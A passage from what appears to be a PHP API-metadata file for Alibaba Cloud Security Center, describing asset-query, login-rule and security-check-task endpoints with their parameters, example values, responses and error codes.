**totalCount**：资产的总数量。'."\n" + .'- **uuidCount**：规则生效资产的数量。'."\n" + .'- **id**：服务器异常登录规则的ID。'."\n" + .'- **location**：常用登录地名称。'."\n" + ."\n" + .'> 仅参数Type取值为login\\_common_location时，您需要设置此参数。'."\n" + ."\n" + .'- **ip**：常用登录IP。'."\n" + ."\n" + .'> 仅参数Type取值为login\\_common_ip时，您需要设置此参数。'."\n" + ."\n" + .'- **endTime**：常用登录时间的结束时间。'."\n" + ."\n" + .'> 仅参数Type取值为login\\_common_time时，您需要设置此参数。'."\n" + ."\n" + .'- **startTime**：常用登录时间的开始时间。'."\n" + ."\n" + .'> 仅参数Type取值为login\\_common_time时，您需要设置此参数。'."\n" + ."\n" + .'- **account**：常用登录账号。'."\n" + ."\n" + .'> 仅参数Type取值为login\\_common_account时，您需要设置此参数。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '{"totalCount":174,"uuidCount":4,"location":"黑山","id":0}', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器异常登录检测规则生效的服务器的配置信息。此参数为JSON格式，包含以下参数：'."\n" + ."\n" + .'- **Target**：要添加或删除的服务器的UUID。'."\n" + .'- **targetType**：生效资产的添加模式。取值：'."\n" + .' - **uuid**：按单个服务器添加。'."\n" + .' - **groupId**：按照服务器分组添加。'."\n" + .'- **flag**：对该资产的具体操作。取值：'."\n" + .' - **del**：将该服务器从规则中删除。'."\n" + .' - **add**：将该服务器添加到规则中。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '[{"target":"inet-7c676676-06fa-442e-90fb-b802e5d6****","targetType":"uuid","flag":"add"}]', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'AB96FDDF-ED29-52B1-9FAE-8203F2808F24', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => '%s data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"AB96FDDF-ED29-52B1-9FAE-8203F2808F24\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"Success\\": true\\n}","errorExample":""},{"type":"xml","example":"\\n AB96FDDF-ED29-52B1-9FAE-8203F2808F24\\n","errorExample":""}]', + 'title' => '修改资产登录安全设置基础配置信息', + ], + 'ModifyPushAllTask' => [ + 'summary' => '对资产服务器一键下发安全检查任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92382', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要进行安全检查的服务器UUID列表。多个UUID之间使用半角逗号（,）隔开。', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-923b4538-0e88-409d-80ba-cb2e7487****,dc1691eb-656f-472f-b2aa-04f621f4****,70452f92-9fc1-45c5-ab35-e7bf8552****', + ], + ], + [ + 'name' => 'Tasks', + 'in' => 'query', + 'schema' => [ + 'description' => '要进行的安全检查的检查项列表。多个检查项之间使用半角逗号（,）隔开。取值：'."\n" + .'- **OVAL_ENTITY**：CVE漏洞'."\n" + .'- **CMS**：CMS漏洞'."\n" + .'- **SYSVUL**：系统漏洞'."\n" + .'- **SCA**：应用漏洞'."\n" + .'- **HEALTH_CHECK**：基线'."\n" + .'- **WEBSHELL**：网站后门'."\n" + .'- **PROC_SNAPSHOT**：进程'."\n" + .'- **PORT_SNAPSHOT**：端口'."\n" + .'- **ACCOUNT_SNAPSHOT**：账户'."\n" + .'- **SOFTWARE_SNAPSHOT**：软件'."\n" + .'- **SCA_SNAPSHOT**：中间件以及数据库、web服务'."\n" + .'- **CROND_SNAPSHOT**：计划任务'."\n" + .'- **AUTORUN_SNAPSHOT**：启动项'."\n" + .'- **LKM_SNAPSHOT**：内核模块'."\n" + .'- **SCA_PROXY_SNAPSHOT**：Web站点', + 'type' => 'string', + 'required' => true, + 'example' => 'HEALTH_CHECK,OVAL_ENTITY', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '91EB4AC7-7FEF-4C72-BE49-4414E459AEC2', + ], + 'PushTaskRsp' => [ + 'description' => '安全检查任务执行的结果。', + 'type' => 'object', + 'properties' => [ + 'PushTaskResultList' => [ + 'description' => '安全检查任务执行失败的服务器的信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '5493fe42-61f5-4627-9aa2-8c449bbe****', + ], + 'GroupId' => [ + 'description' => '服务器分组的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '226', + ], + 'Success' => [ + 'description' => '安全检查是否执行成功。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'false', + ], + 'Region' => [ + 'description' => '服务器所在地域。', + 'type' => 'string', + 'example' => 'cn-beijing', + ], + 'InstanceName' => [ + 'description' => '服务器的名称。', + 'type' => 'string', + 'example' => 'TestInstance', + ], + 'Online' => [ + 'description' => '云安全中心客户端是否在线。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否'."\n" + ."\n" + .'> 如果客户端不在线，则云安全中心无法对该型服务器提供安全防护。', + 'type' => 'boolean', + 'example' => 'false', + ], + 'Message' => [ + 'description' => '安全检查任务执行失败的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'Ip' => [ + 'description' => '服务器的IP。', + 'type' => 'string', + 'example' => '127.136.XX.XX', + ], + 'OsVersion' => [ + 'description' => '服务器操作系统的版本。', + 'type' => 'string', + 'example' => 'linux', + ], + 'InstanceId' => [ + 'description' => '服务器实例的ID。', + 'type' => 'string', + 'example' => 'i-wz9f7wlklxqnvdk****', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'PushTaskError', + 'errorMessage' => 'Failed to push task.', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'FreeVersionNotPermit', + 'errorMessage' => 'Free version is not permitted.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"91EB4AC7-7FEF-4C72-BE49-4414E459AEC2\\",\\n \\"PushTaskRsp\\": {\\n \\"PushTaskResultList\\": [\\n {\\n \\"Uuid\\": \\"5493fe42-61f5-4627-9aa2-8c449bbe****\\",\\n \\"GroupId\\": 226,\\n \\"Success\\": false,\\n \\"Region\\": \\"cn-beijing\\",\\n \\"InstanceName\\": \\"TestInstance\\",\\n \\"Online\\": false,\\n \\"Message\\": \\"successful\\",\\n \\"Ip\\": \\"127.136.XX.XX\\",\\n \\"OsVersion\\": \\"linux\\",\\n \\"InstanceId\\": \\"i-wz9f7wlklxqnvdk****\\"\\n }\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 91EB4AC7-7FEF-4C72-BE49-4414E459AEC2\\n \\n \\n 5493fe42-61f5-4627-9aa2-8c449bbe****\\n 226\\n false\\n cn-beijing\\n 按量计费线上监控\\n false\\n {\\"code\\":\\"clinent_offline\\",\\"message\\":\\"客户端不在线\\",\\"success\\":false}\\n 127.XX.XX\\n linux\\n i-wz9f7wlklxqnvdk****\\n \\n \\n","errorExample":""}]', + 'title' => '一键下发安全检查任务', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeAssetDetailByUuid' => [ + 'summary' => '根据UUID查询服务器资产详情和扩展信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '91990', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '192.0.XX.XX', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产的UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '9e6cad93-a379-46fd-a701-9bbf02f4****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '39031E31-6BBA-5C99-A870-D807E78918CD', + ], + 'AssetDetail' => [ + 'description' => '资产信息详情。', + 'type' => 'object', + 'properties' => [ + 'CpuInfo' => [ + 'description' => 'CPU详细信息。', + 'type' => 'string', + 'example' => 'Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'OsDetail' => [ + 'description' => '服务器的操作系统版本位数。', + 'type' => 'string', + 'example' => 'Linux 64bit', + ], + 'CreateTime' => [ + 'description' => '云安全中心记录当前资产信息的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1603863599000', + ], + 'Kernel' => [ + 'description' => '操作系统的内核版本。', + 'type' => 'string', + 'example' => '4.18.0-80.11.2.el8_0.x86_64', + ], + 'Bind' => [ + 'description' => '资产是否已绑定授权。取值：'."\n" + ."\n" + .'- **true**：已绑定授权'."\n" + .'- **false**：未绑定授权', + 'type' => 'boolean', + 'example' => 'true', + ], + 'OsName' => [ + 'description' => '服务器的操作系统名称。', + 'type' => 'string', + 'example' => '-', + ], + 'Tag' => [ + 'description' => '服务器的标签。', + 'type' => 'string', + 'example' => 'InternetIp', + ], + 'ClientStatus' => [ + 'description' => 'Agent客户端状态。取值： '."\n" + .'- **pause**：暂停保护'."\n" + .'- **online**：保护中'."\n" + .'- **offline**：未受保护', + 'type' => 'string', + 'example' => 'online', + ], + 'Mem' => [ + 'description' => '内存大小，单位为GB。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '32', + ], + 'Memory' => [ + 'description' => '内存大小，单位为MB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '512', + ], + 'VpcInstanceId' => [ + 'description' => '服务器所在的VPC实例ID。', + 'type' => 'string', + 'example' => 'vpc-bp1fs3bwonlfq503w****', + ], + 'AuthVersion' => [ + 'description' => '资产的授权版本。取值：'."\n" + ."\n" + .'- **1**：免费版（未授权）'."\n" + .'- **6**：防病毒版'."\n" + .'- **5**：高级版'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'InstanceName' => [ + 'description' => '服务器名称。', + 'type' => 'string', + 'example' => 'i-fasdfasdfadfafa****', + ], + 'Region' => [ + 'description' => '服务器所在地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou-dg-a01', + ], + 'GroupTrace' => [ + 'description' => '服务器所属的分组。未设置分组的服务器默认属于**未分组**。', + 'type' => 'string', + 'example' => 'default', + ], + 'Ip' => [ + 'description' => 'ECS分配的IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'HostName' => [ + 'description' => '主机名称。', + 'type' => 'string', + 'example' => 'qewrqwerqs****', + ], + 'Os' => [ + 'description' => '服务器的操作系统类型。', + 'type' => 'string', + 'example' => 'linux', + ], + 'AuthModifyTime' => [ + 'description' => '资产授权绑定的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1627974044000', + ], + 'InstanceId' => [ + 'description' => '服务器ID。', + 'type' => 'string', + 'example' => 'i-uf6h7p2fgk6rkk0g****', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'AssetType' => [ + 'description' => '资产类型。取值： '."\n" + .'- **0**：云服务器ECS'."\n" + .'- **1**：负载均衡SLB'."\n" + .'- **2**：NAT网关'."\n" + .'- **3**：RDS数据库'."\n" + .'- **4**：MongoDb数据库'."\n" + .'- **5**：REDIS数据库'."\n" + .'- **6**：容器镜像IMAGE'."\n" + .'- **7**：容器CONTAINER', + 'type' => 'string', + 'example' => '0', + ], + 'RegionId' => [ + 'description' => '资产的地域ID。', + 'type' => 'string', + 'example' => 'cn-hanghzou', + ], + 'SysInfo' => [ + 'description' => '服务器的操作系统信息。', + 'type' => 'string', + 'example' => 'CentOS Linux 8.0.1905', + ], + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '9e6cad93-a379-46fd-a701-9bbf02f4****', + ], + 'Cpu' => [ + 'description' => 'CPU内核数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RegionName' => [ + 'description' => '服务器所在地域名称。', + 'type' => 'string', + 'example' => 'China (Hohhot)', + ], + 'Flag' => [ + 'description' => '资产是否为阿里云资产。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：非阿里云资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ClientVersion' => [ + 'description' => 'Agent客户端的版本。', + 'type' => 'string', + 'example' => '2.0.0', + ], + 'IpList' => [ + 'description' => '服务器的IP地址列表。', + 'type' => 'array', + 'items' => [ + 'description' => '服务器的IP地址列表。', + 'type' => 'string', + 'example' => '["192.168.XX.XX"]', + ], + ], + 'MacList' => [ + 'description' => 'MAC地址。', + 'type' => 'array', + 'items' => [ + 'description' => 'MAC地址。', + 'type' => 'string', + 'example' => '['."\n" + .' "00:16:3*:1*:9*:cf"'."\n" + .']', + ], + ], + 'DiskInfoList' => [ + 'description' => '磁盘信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '磁盘信息。以下是磁盘相关参数的说明：'."\n" + .'- **diskName**：磁盘名称。'."\n" + .'- **totalSize**：磁盘总容量，单位为GB。'."\n" + .'- **useSize**：已使用磁盘容量，单位为GB。'."\n" + .'- **useSizeByte**：已使用磁盘容量，单位为Byte。'."\n" + .'- **totalSizeByte**：已使用磁盘容量，单位为Byte。', + 'type' => 'string', + 'example' => '{diskName: "/dev/vda1", useSizeByte: 2998996992, totalSize: 40, useSize: 2, totalSizeByte: 42140479488}', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'substitutions' => [ + 'Sas::2018-12-03::GetAssetDetailByUuid', + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"39031E31-6BBA-5C99-A870-D807E78918CD\\",\\n \\"AssetDetail\\": {\\n \\"CpuInfo\\": \\"Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz\\",\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"OsDetail\\": \\"Linux 64bit\\",\\n \\"CreateTime\\": 1603863599000,\\n \\"Kernel\\": \\"4.18.0-80.11.2.el8_0.x86_64\\",\\n \\"Bind\\": true,\\n \\"OsName\\": \\"-\\",\\n \\"Tag\\": \\"InternetIp\\",\\n \\"ClientStatus\\": \\"online\\",\\n \\"Mem\\": 32,\\n \\"Memory\\": 512,\\n \\"VpcInstanceId\\": \\"vpc-bp1fs3bwonlfq503w****\\",\\n \\"AuthVersion\\": 7,\\n \\"InstanceName\\": \\"i-fasdfasdfadfafa****\\",\\n \\"Region\\": \\"cn-hangzhou-dg-a01\\",\\n \\"GroupTrace\\": \\"default\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"HostName\\": \\"qewrqwerqs****\\",\\n \\"Os\\": \\"linux\\",\\n \\"AuthModifyTime\\": 1627974044000,\\n \\"InstanceId\\": \\"i-uf6h7p2fgk6rkk0g****\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"AssetType\\": \\"0\\",\\n \\"RegionId\\": \\"cn-hanghzou\\",\\n \\"SysInfo\\": \\"CentOS Linux 8.0.1905\\",\\n \\"Uuid\\": \\"9e6cad93-a379-46fd-a701-9bbf02f4****\\",\\n \\"Cpu\\": 2,\\n \\"RegionName\\": \\"China (Hohhot)\\",\\n \\"Flag\\": 0,\\n \\"ClientVersion\\": \\"2.0.0\\",\\n \\"IpList\\": [\\n \\"[\\\\\\"192.168.XX.XX\\\\\\"]\\"\\n ],\\n \\"MacList\\": [\\n \\"[\\\\n \\\\\\"00:16:3*:1*:9*:cf\\\\\\"\\\\n]\\"\\n ],\\n \\"DiskInfoList\\": [\\n \\"{diskName: \\\\\\"/dev/vda1\\\\\\", useSizeByte: 2998996992, totalSize: 40, useSize: 2, totalSizeByte: 42140479488}\\"\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 39031E31-6BBA-5C99-A870-D807E78918CD\\n \\n Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz\\n 192.168.XX.XX\\n Linux 64bit\\n 1603863599000\\n 4.18.0-80.11.2.el8_0.x86_64\\n true\\n CentOS 8.0 64位\\n InternetIp\\n online\\n 32\\n 512\\n vpc-bp1fs3bwonlfq503w****\\n 7\\n i-fasdfasdfadfafa****\\n cn-hangzhou-dg-a01\\n 未分组\\n 192.168.XX.XX\\n qewrqwerqs****\\n linux\\n 1627974044000\\n i-uf6h7p2fgk6rkk0g****\\n 192.168.XX.XX\\n 0\\n cn-hanghzou\\n CentOS Linux 8.0.1905\\n 9e6cad93-a379-46fd-a701-9bbf02f4****\\n 2\\n 华东1（杭州）\\n 0\\n 2.0.0\\n [\\"192.168.XX.XX\\"]\\n [\\"00:16:3*:1*:9*:cf\\"]\\n [ { \\"diskName\\": \\"/dev/vda1\\", \\"totalSize\\": 20, \\"useSize\\": 2 } ]\\n \\n","errorExample":""}]', + 'title' => '查询服务器资产详情和扩展信息', + 'description' => '该服务即将下线。请采调用[GetAssetDetailByUuid](~~GetAssetDetailByUuid~~)接口获取资产详情。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeGroupedInstances' => [ + 'summary' => '按照指定的聚合维度去查询资产的统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92085', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'MachineTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产的类型。固定取值：**ecs**，表示云服务器。', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs', + ], + ], + [ + 'name' => 'GroupField', + 'in' => 'query', + 'schema' => [ + 'description' => '查询资产的过滤条件。取值：'."\n" + ."\n" + .'- **groupId**：表示按照资产的分组查询。'."\n" + .'- **regionId**：表示按照资产所在的地域查询。'."\n" + .'- **vpcInstanceId**：表示按照资产所属的专有网络VPC查询。', + 'type' => 'string', + 'required' => true, + 'example' => 'groupId', + ], + ], + [ + 'name' => 'FieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产分组的名称，支持模糊搜索。', + 'type' => 'string', + 'required' => false, + 'example' => 'test-01', + ], + ], + [ + 'name' => 'NoPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置是否启用分页查询。默认值为**true**。取值：'."\n" + .'- **true**：启用分页查询。'."\n" + .'- **false**：不启用分页查询。'."\n", + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的资产信息的数量。 默认值为**20**，表示每页显示20条资产信息。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'Vendors', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器厂商。多个厂商使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'string', + 'required' => false, + 'example' => '0,8', + ], + ], + [ + 'name' => 'SaleVersionCheckCode', + 'in' => 'query', + 'schema' => [ + 'description' => '查询资产的售卖条件过滤。取值：'."\n" + ."\n" + .'- **sas\\_gte\\_advanced**：大于等于高级版'."\n" + .'- **sas\\_gte\\_enterprise**：大于等于企业版'."\n" + .'- **sas\\_gt\\_basic**：付费版'."\n" + .'- **sas\\_eq\\_advanced**：等于高级版'."\n" + .'- **sas\\_gt\\_anti\\_virus**：大于防病毒版', + 'type' => 'string', + 'required' => false, + 'example' => 'sas_gt_basic', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '52A3AEE6-114A-499D-8990-4BA9B27FE0AA', + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的资产信息的数量。 默认值为**20**，表示每页显示20条资产信息。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的资产信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询时，当前页面显示的资产的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'Instances' => [ + 'description' => '查询到的资产信息的列表。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的资产信息。', + 'type' => 'object', + 'properties' => [ + 'AsapVulInstanceCount' => [ + 'description' => '存在高危漏洞的资产的数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '11', + ], + 'UnProtectedInstanceCount' => [ + 'description' => '未受到云安全中心防护的资产的数量。', + 'type' => 'string', + 'example' => '32', + ], + 'FieldAliasName' => [ + 'description' => '服务器分组的名称。', + 'type' => 'string', + 'example' => 'testA', + ], + 'InstanceCount' => [ + 'description' => '查询时指定的资产类型下所有资产的数量。'."\n" + ."\n" + .'> 如果未设置请求参数**MachineTypes**，则该参数返回值为您所有类型的资产的总数量。', + 'type' => 'string', + 'example' => '205', + ], + 'RiskInstanceCount' => [ + 'description' => '存在安全风险的资产数量。', + 'type' => 'string', + 'example' => '172', + ], + 'GroupFlag' => [ + 'description' => '服务器分组类型。取值：'."\n" + .'- **0**：默认分组'."\n" + .'- **1**：其他分组', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AuthVersionCheckCount' => [ + 'description' => '符合售卖条件的资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '205', + ], + 'Os' => [ + 'description' => '资产系统类型。取值：'."\n" + .'- **windows**'."\n" + .'- **linux**'."\n" + .'>该字段仅在**Lang**为**zh**时返回。>', + 'type' => 'string', + 'example' => 'windows', + ], + 'InstanceCoreCount' => [ + 'description' => '查询时指定的资产类型下所有资产的计算核数。'."\n" + ."\n" + .'> 如果未设置请求参数**MachineTypes**，则该参数返回值为您所有类型的资产的计算核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '610', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"52A3AEE6-114A-499D-8990-4BA9B27FE0AA\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 5,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20\\n },\\n \\"Instances\\": [\\n {\\n \\"AsapVulInstanceCount\\": 11,\\n \\"UnProtectedInstanceCount\\": \\"32\\",\\n \\"FieldAliasName\\": \\"testA\\",\\n \\"InstanceCount\\": \\"205\\",\\n \\"RiskInstanceCount\\": \\"172\\",\\n \\"GroupFlag\\": 1,\\n \\"AuthVersionCheckCount\\": 205,\\n \\"Os\\": \\"windows\\",\\n \\"InstanceCoreCount\\": 610\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 52A3AEE6-114A-499D-8990-4BA9B27FE0AA\\n \\n 5\\n 20\\n 100\\n 20\\n \\n \\n 11\\n 32\\n testA\\n 205\\n 172\\n 1\\n \\n","errorExample":""}]', + 'title' => '查询资产的统计信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'QueryGroupIdByGroupName' => [ + 'summary' => '根据资产的分组名称查询分组ID。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '10.12.XX.XX', + ], + ], + [ + 'name' => 'GroupName', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的分组的名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'TestGroupName', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'GroupId' => [ + 'description' => '查询到的分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '9935302', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', 